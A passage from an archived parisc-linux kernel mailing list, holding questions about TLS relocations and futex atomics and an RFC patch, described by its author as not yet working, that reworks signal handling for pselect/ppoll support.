	b=f45tBbTgCrw+Y+TuJh5qfeec5n3Oar+NUfy3xq7jziamziyAlz7s7wJmo5Jh/M5Nme0VpmQsMsmLTtGWM+/pldXy3LIGfcLgvYlZUPM1F6YQsZa+CW6LJNt32eP3eB6dxZNdcAqqzMLWwb78UOlwD0OmIlCigcVfqonmv0500Mo=
Original-Received: by 10.36.250.7 with SMTP id x7mr3618674nzh;
	Sat, 08 Apr 2006 15:16:13 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Sat, 8 Apr 2006 15:16:13 -0700 (PDT)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AQQBfA8TYW0+truGbmZpbW50amthc5ty
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23557

Randolph,

In the local dynamic case we emit one reloc R_PARISC_TLS_DTPMOD32.
This means that at runtime there is a GOT entry with an absoluate
address which points to a tls_index structure, which has it's
ti_module filled by the dynamic loader (after processing the DTPMOD32
reloc). The question I have is, does this tls_index appear in bss? Is
the offset ti_offset initialized to zero? The zero offset is required
since we want __tls_get_addr to return the start of the modules block,
so we can subsequently offset into that block without calling
__tls_get_addr again.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: + parisc-add-ptr-compatpatch.patch added to
	-mm tree
Date: Sun, 9 Apr 2006 10:09:07 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <119aab440604090709u4aab76a7u45cf79542c57138c@mail.gmail.com>
References: <200602220102.k1M12Jje015527@shell0.pdx.osdl.net>
	<20060222010459.GE26809@quicksilver.road.mcmartin.ca>
	<20060221172126.2db4adef.akpm@osdl.org>
	<20060222091356.GA27449@elte.hu>
	<20060409001100.GD30539@quicksilver.road.mcmartin.ca>
	<20060409053716.GA18611@elte.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624049 18885 80.91.229.3 (22 Nov 2014 02:40:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:49 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 Andrew Morton <akpm@osdl.org>,
 parisc-linux@lists.parisc-linux.org
To: "Ingo Molnar" <mingo@elte.hu>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2006 14:09:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 09 Apr 2006 16:09:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C9467D67C;
	Sun,  9 Apr 2006 08:09:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11369-05; Sun, 9 Apr 2006 08:09:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 847E17D65B;
	Sun,  9 Apr 2006 08:09:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A35597D64B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Apr 2006 08:09:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11336-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 9 Apr 2006 08:09:07 -0600 (MDT)
Original-Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.203])
	by free.linux.hp.com (Postfix) with ESMTP id CB1D87D63F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Apr 2006 08:09:07 -0600 (MDT)
Original-Received: by zproxy.gmail.com with SMTP id 18so810770nzp
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 09 Apr 2006 07:09:07 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=FQK769KA2OZy7QirssuHl0cBvGOl07yIq81/IIi3yLiV9XqhBSKuG7N/Lj86iIjcINTjmd1py52ayUGr9Q0tBsbPx+YNfnT6TH4zWKwHAlIGuFxl4V8TF0b+8KzFXLS6o1+YFTxqtQNxuq1Oi3QOLtQ+2vcPhXzQTSl267Qinw4=
Original-Received: by 10.36.74.20 with SMTP id w20mr2200171nza;
	Sun, 09 Apr 2006 07:09:07 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Sun, 9 Apr 2006 07:09:07 -0700 (PDT)
In-Reply-To: <20060409053716.GA18611@elte.hu>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tiIMcMEYTiEtoqyUaGRwenF1ZUVSRJdf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23558

On 4/9/06, Ingo Molnar <mingo@elte.hu> wrote:
> > Due to a complete lack of useful atomic operations on parisc, the way
> > I envisioned implementing the routines was serializing all futex ops
> > on a kernel spinlock. Since it's a userspace address, we couldn't use
> > an atomic hash unless we found the physical address behind it, so just
> > one spinlock would do... Of course, I'm probably missing something
> > critical here, though.
>
> if userspace doesnt do atomic ops then the solution should be relatively
> easy: make glibc always call into the kernel, and then the kernel-level
> futex.h ops can be implemented in a lockless manner (i.e. not even a
> spinlock is needed) and you'll get (pretty scalable) futex
> functionality. The in-kernel futex hash-bucket spinlocks take care of
> locking.

HPPA has a light-weight kernel syscall that does
atomic-compare-and-swap, and indeed this is what we use for our NPTL
implementation. We can use that *or* call into the kernel for
arbitration. The atomic-compare-and-swap also uses a hash-bucket of
spinlocks on SMP systems. We hash on a virtual address so it scales
nicely. Not forever though. Some analysis to see which is faster
should be done. I think we will always win with the light-weight
syscall.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] pselect/ppoll support
Date: Sun, 9 Apr 2006 14:25:21 -0400
Lines: 831
Approved: news@gmane.org
Message-ID: <20060409182521.GA27661@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624050 18887 80.91.229.3 (22 Nov 2014 02:40:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2006 18:25:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 09 Apr 2006 20:25:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 338107D661;
	Sun,  9 Apr 2006 12:25:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12886-05; Sun, 9 Apr 2006 12:25:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D5C327D65B;
	Sun,  9 Apr 2006 12:25:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F1D9A7D63E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Apr 2006 12:25:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12886-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 9 Apr 2006 12:25:46 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id B727E7D626
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Apr 2006 12:25:45 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 1AAF25840AE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Apr 2006 14:25:45 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 51A7A58409F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Apr 2006 14:25:43 -0400 (EDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 1F60123E83
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Apr 2006 14:25:11 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08109-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 9 Apr 2006 14:25:10 -0400 (EDT)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 9619123E82
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Apr 2006 14:25:09 -0400 (EDT)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 1C94A3B063; Sun,  9 Apr 2006 14:25:22 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.11+cvs20060126
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gGMAceA/eWU7sreUfHVzcU05U3U4N8/f
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23559

First strike at adding TIF_RESTORE_SIGMASK support for the pselect/ppoll
system calls... Doesn't seem to work at all yet...

For instance, signals appear to be completely broken... Dunno why,
seems to work for other architectures...

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 7c95d76..22e3eed 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -32,6 +32,7 @@
 
 #include <asm/psw.h>
 #include <asm/assembly.h>	/* for LDREG/STREG defines */
+#include <asm/cache.h>
 #include <asm/pgtable.h>
 #include <asm/signal.h>
 #include <asm/unistd.h>
@@ -479,11 +480,7 @@
 	bb,>=,n		\pmd,_PxD_PRESENT_BIT,\fault
 	DEP		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
 	copy		\pmd,%r9
-#ifdef CONFIG_64BIT
-	shld		%r9,PxD_VALUE_SHIFT,\pmd
-#else
-	shlw		%r9,PxD_VALUE_SHIFT,\pmd
-#endif
+	SHLREG		%r9,PxD_VALUE_SHIFT,\pmd
 	EXTR		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
 	DEP		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	shladd		\index,BITS_PER_PTE_ENTRY,\pmd,\pmd
@@ -962,11 +959,7 @@ intr_return:
 	/* shift left ____cacheline_aligned (aka L1_CACHE_BYTES) amount
 	** irq_stat[] is defined using ____cacheline_aligned.
 	*/
-#ifdef CONFIG_64BIT
-	shld	%r1, 6, %r20
-#else
-	shlw	%r1, 5, %r20
-#endif
+	SHLREG	%r1, L1_CACHE_SHIFT, %r20
 	add     %r19,%r20,%r19	/* now have &irq_stat[smp_processor_id()] */
 #endif /* CONFIG_SMP */
 
@@ -1071,7 +1064,7 @@ intr_do_preempt:
 	b	intr_restore		/* ssm PSW_SM_I done by intr_restore */
 #endif /* CONFIG_PREEMPT */
 
-	.import do_signal,code
+	.import do_notify_resume,code
 intr_do_signal:
 	/* 
 		This check is critical to having LWS
@@ -1088,14 +1081,13 @@ intr_do_signal:
 	CMPIB= 0,%r20,intr_restore /* backward */
 	nop
 
-	copy	%r0, %r24			/* unsigned long in_syscall */
-	copy	%r16, %r25			/* struct pt_regs *regs */
+	copy	%r0, %r25			/* unsigned long in_syscall */
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29			/* Reference param save area */
 #endif
 
-	BL	do_signal,%r2
-	copy	%r0, %r26			/* sigset_t *oldset = NULL */
+	BL	do_notify_resume,%r2
+	copy	%r16, %r26			/* struct pt_regs *regs */
 
 	b	intr_check_sig
 	nop
@@ -2028,32 +2020,6 @@ sys32_sigaltstack_wrapper:
 	nop
 #endif
 
-	.export sys_rt_sigsuspend_wrapper
-sys_rt_sigsuspend_wrapper:
-	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30), %r1
-	ldo	TASK_REGS(%r1),%r24
-	reg_save %r24
-
-	STREG	%r2, -RP_OFFSET(%r30)
-#ifdef CONFIG_64BIT
-	ldo	FRAME_SIZE(%r30), %r30
-	b,l	sys_rt_sigsuspend,%r2
-	ldo	-16(%r30),%r29		/* Reference param save area */
-#else
-	bl	sys_rt_sigsuspend,%r2
-	ldo	FRAME_SIZE(%r30), %r30
-#endif
-
-	ldo	-FRAME_SIZE(%r30), %r30
-	LDREG	-RP_OFFSET(%r30), %r2
-
-	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30), %r1
-	ldo	TASK_REGS(%r1),%r1
-	reg_restore %r1
-
-	bv	%r0(%r2)
-	nop
-
 	.export syscall_exit
 syscall_exit:
 
@@ -2108,11 +2074,7 @@ syscall_check_bh:
 	ldw     TI_CPU-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r26 /* cpu # */
 
 	/* shift left ____cacheline_aligned (aka L1_CACHE_BYTES) bits */
-#ifdef CONFIG_64BIT
-	shld	%r26, 6, %r20
-#else
-	shlw	%r26, 5, %r20
-#endif
+	SHLREG	%r26, L1_CACHE_SHIFT, %r20
 	add     %r19,%r20,%r19	/* now have &irq_stat[smp_processor_id()] */
 #endif /* CONFIG_SMP */
 
@@ -2264,23 +2226,21 @@ syscall_do_resched:
 	b       syscall_check_bh  /* if resched, we start over again */
 	nop
 
-	.import do_signal,code
+	.import do_notify_resume,code
 syscall_do_signal:
 	/* Save callee-save registers (for sigcontext).
 	   FIXME: After this point the process structure should be
 	   consistent with all the relevant state of the process
 	   before the syscall.  We need to verify this. */
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1 
-	ldo	TASK_REGS(%r1), %r25		/* struct pt_regs *regs */
-	reg_save %r25
-
-	ldi	1, %r24				/* unsigned long in_syscall */
+	ldo	TASK_REGS(%r1), %r26		/* struct pt_regs *regs */
+	reg_save %r26
 
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29			/* Reference param save area */
 #endif
-	BL	do_signal,%r2
-	copy	%r0, %r26			/* sigset_t *oldset = NULL */
+	BL	do_notify_resume,%r2
+	ldi	1, %r25				/* unsigned long in_syscall */
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1
 	ldo	TASK_REGS(%r1), %r20		/* reload pt_regs */
diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index 413292f..9aa4af0 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -36,8 +36,7 @@
 #define DBG(x...)
 #endif
 
-#ifdef __LP64__
-
+#ifdef CONFIG_64BIT
 /* This function is needed to translate 32 bit pt_regs offsets in to
  * 64 bit pt_regs offsets.  For example, a 32 bit gdb under a 64 bit kernel
  * will request offset 12 if it wants gr3, but the lower 32 bits of
@@ -90,8 +89,8 @@ long arch_ptrace(struct task_struct *chi
 	case PTRACE_PEEKDATA: {
 		int copied;
 
-#ifdef __LP64__
-		if (personality(child->personality) == PER_LINUX32) {
+#ifdef CONFIG_64BIT
+		if (__is_compat_task(child)) {
 			unsigned int tmp;
 
 			addr &= 0xffffffffL;
@@ -122,8 +121,8 @@ long arch_ptrace(struct task_struct *chi
 	case PTRACE_POKETEXT: /* write the word at location addr. */
 	case PTRACE_POKEDATA:
 		ret = 0;
-#ifdef __LP64__
-		if (personality(child->personality) == PER_LINUX32) {
+#ifdef CONFIG_64BIT
+		if (__is_compat_task(child)) {
 			unsigned int tmp = (unsigned int)data;
 			DBG("sys_ptrace(POKE%s, %d, %lx, %lx)\n",
 				request == PTRACE_POKETEXT ? "TEXT" : "DATA",
@@ -145,8 +144,8 @@ long arch_ptrace(struct task_struct *chi
 	   processes, the kernel saves all regs on a syscall. */
 	case PTRACE_PEEKUSR: {
 		ret = -EIO;
-#ifdef __LP64__
-		if (personality(child->personality) == PER_LINUX32) {
+#ifdef CONFIG_64BIT
+		if (__is_compat_task(child)) {
 			unsigned int tmp;
 
 			if (addr & (sizeof(int)-1))
@@ -204,8 +203,8 @@ long arch_ptrace(struct task_struct *chi
 			ret = 0;
 			goto out_tsk;
 		}
-#ifdef __LP64__
-		if (personality(child->personality) == PER_LINUX32) {
+#ifdef CONFIG_64BIT
+		if (__is_compat_task(child)) {
 			if (addr & (sizeof(int)-1))
 				goto out_tsk;
 			if ((addr = translate_usr_offset(addr)) < 0)
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 05767e8..5a1e21e 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -4,6 +4,7 @@
  *
  *  Copyright (C) 2000 David Huggins-Daines <dhd@debian.org>
  *  Copyright (C) 2000 Linuxcare, Inc.
+ *  Copyright (C) 2006 Kyle McMartin <kyle@parisc-linux.org>
  *
  *  Based on the ia64, i386, and alpha versions.
  *
@@ -60,58 +61,13 @@
  * this. */
 #define A(__x)	((unsigned long)(__x))
 
-int do_signal(sigset_t *oldset, struct pt_regs *regs, int in_syscall);
-
 /*
  * Atomically swap in the new signal mask, and wait for a signal.
  */
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 #include "sys32.h"
 #endif
 
-asmlinkage int
-sys_rt_sigsuspend(sigset_t __user *unewset, size_t sigsetsize, struct pt_regs *regs)
-{
-	sigset_t saveset, newset;
-#ifdef __LP64__
-	compat_sigset_t newset32;
-
-	if(personality(current->personality) == PER_LINUX32){
-		/* XXX: Don't preclude handling different sized sigset_t's.  */
-		if (sigsetsize != sizeof(compat_sigset_t))
-			return -EINVAL;
-		if (copy_from_user(&newset32, (compat_sigset_t __user *)unewset, sizeof(newset32)))
-			return -EFAULT;
-		sigset_32to64(&newset,&newset32);
-		
-	} else 
-#endif
-	{
-		/* XXX: Don't preclude handling different sized sigset_t's.  */
-		if (sigsetsize != sizeof(sigset_t))
-			return -EINVAL;
-	
-		if (copy_from_user(&newset, unewset, sizeof(newset)))
-			return -EFAULT;
-	}
-
-	sigdelsetmask(&newset, ~_BLOCKABLE);
-
-	spin_lock_irq(&current->sighand->siglock);
-	saveset = current->blocked;
-	current->blocked = newset;
-	recalc_sigpending();
-	spin_unlock_irq(&current->sighand->siglock);
-
-	regs->gr[28] = -EINTR;
-	while (1) {
-		current->state = TASK_INTERRUPTIBLE;
-		schedule();
-		if (do_signal(&saveset, regs, 1))
-			return -EINTR;
-	}
-}
-
 /*
  * Do a signal return - restore sigcontext.
  */
@@ -149,11 +105,11 @@ sys_rt_sigreturn(struct pt_regs *regs, i
 	sigset_t set;
 	unsigned long usp = (regs->gr[30] & ~(0x01UL));
 	unsigned long sigframe_size = PARISC_RT_SIGFRAME_SIZE;
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	compat_sigset_t compat_set;
 	struct compat_rt_sigframe __user * compat_frame;
 	
-	if(personality(current->personality) == PER_LINUX32)
+	if (__is_compat_task(current))
 		sigframe_size = PARISC_RT_SIGFRAME_SIZE32;
 #endif
 
@@ -163,10 +119,10 @@ sys_rt_sigreturn(struct pt_regs *regs, i
 		(usp - sigframe_size);
 	DBG(2,"sys_rt_sigreturn: frame is %p\n", frame);
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	compat_frame = (struct compat_rt_sigframe __user *)frame;
 	
-	if(personality(current->personality) == PER_LINUX32){
+	if (__is_compat_task(current)) {
 		DBG(2,"sys_rt_sigreturn: ELF32 process.\n");
 		if (__copy_from_user(&compat_set, &compat_frame->uc.uc_sigmask, sizeof(compat_set)))
 			goto give_sigsegv;
@@ -185,10 +141,10 @@ sys_rt_sigreturn(struct pt_regs *regs, i
 	spin_unlock_irq(&current->sighand->siglock);
 
 	/* Good thing we saved the old gr[30], eh? */
-#ifdef __LP64__
-	if(personality(current->personality) == PER_LINUX32){
+#ifdef CONFIG_64BIT
+	if (__is_compat_task(current)) {
 		DBG(1,"sys_rt_sigreturn: compat_frame->uc.uc_mcontext 0x%p\n",
-				&compat_frame->uc.uc_mcontext);
+		    &compat_frame->uc.uc_mcontext);
 // FIXME: Load upper half from register file
 		if (restore_sigcontext32(&compat_frame->uc.uc_mcontext, 
 					&compat_frame->regs, regs))
@@ -297,12 +253,12 @@ setup_rt_frame(int sig, struct k_sigacti
 	unsigned long rp, usp;
 	unsigned long haddr, sigframe_size;
 	int err = 0;
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	compat_int_t compat_val;
 	struct compat_rt_sigframe __user * compat_frame;
 	compat_sigset_t compat_set;
 #endif
-	
+
 	usp = (regs->gr[30] & ~(0x01UL));
 	/*FIXME: frame_size parameter is unused, remove it. */
 	frame = get_sigframe(ka, usp, sizeof(*frame));
@@ -311,11 +267,10 @@ setup_rt_frame(int sig, struct k_sigacti
 	DBG(1,"setup_rt_frame: frame %p info %p\n", frame, info);
 
 	
-#ifdef __LP64__
-
+#ifdef CONFIG_64BIT
 	compat_frame = (struct compat_rt_sigframe __user *)frame;
 	
-	if(personality(current->personality) == PER_LINUX32) {
+	if (__is_compat_task(current)) {
 		DBG(1,"setup_rt_frame: frame->info = 0x%p\n", &compat_frame->info);
 		err |= copy_siginfo_to_user32(&compat_frame->info, info);
 		DBG(1,"SETUP_RT_FRAME: 1\n");
@@ -391,8 +346,8 @@ setup_rt_frame(int sig, struct k_sigacti
 
 	haddr = A(ka->sa.sa_handler);
 	/* The sa_handler may be a pointer to a function descriptor */
-#ifdef __LP64__
-	if(personality(current->personality) == PER_LINUX32) {
+#ifdef CONFIG_64BIT
+	if (__is_compat_task(current)) {
 #endif
 		if (haddr & PA_PLABEL_FDESC) {
 			Elf32_Fdesc fdesc;
@@ -406,7 +361,7 @@ setup_rt_frame(int sig, struct k_sigacti
 			haddr = fdesc.addr;
 			regs->gr[19] = fdesc.gp;
 		}
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 	} else {
 		Elf64_Fdesc fdesc;
 		Elf64_Fdesc __user *ufdesc = (Elf64_Fdesc __user *)A(haddr & ~3);
@@ -426,20 +381,20 @@ setup_rt_frame(int sig, struct k_sigacti
 	/* The syscall return path will create IAOQ values from r31.
 	 */
 	sigframe_size = PARISC_RT_SIGFRAME_SIZE;
-#ifdef __LP64__
-	if(personality(current->personality) == PER_LINUX32)
+#ifdef CONFIG_64BIT
+	if (__is_compat_task(current))
 		sigframe_size = PARISC_RT_SIGFRAME_SIZE32;
 #endif
 	if (in_syscall) {
 		regs->gr[31] = haddr;
-#ifdef __LP64__
-		if(personality(current->personality) == PER_LINUX)
+#ifdef CONFIG_64BIT
+		if (__is_native_task(current))
 			sigframe_size |= 1;
 #endif
 	} else {
 		unsigned long psw = USER_PSW;
-#ifdef __LP64__
-		if(personality(current->personality) == PER_LINUX)
+#ifdef CONFIG_64BIT
+		if (__is_native_task(current))
 			psw |= PSW_W;
 #endif
 
@@ -463,8 +418,8 @@ setup_rt_frame(int sig, struct k_sigacti
 	regs->gr[2]  = rp;                /* userland return pointer */
 	regs->gr[26] = sig;               /* signal number */
 	
-#ifdef __LP64__
-	if(personality(current->personality) == PER_LINUX32){
+#ifdef CONFIG_64BIT
+	if (__is_compat_task(current)) {
 		regs->gr[25] = A(&compat_frame->info); /* siginfo pointer */
 		regs->gr[24] = A(&compat_frame->uc);   /* ucontext pointer */
 	} else
@@ -485,12 +440,12 @@ setup_rt_frame(int sig, struct k_sigacti
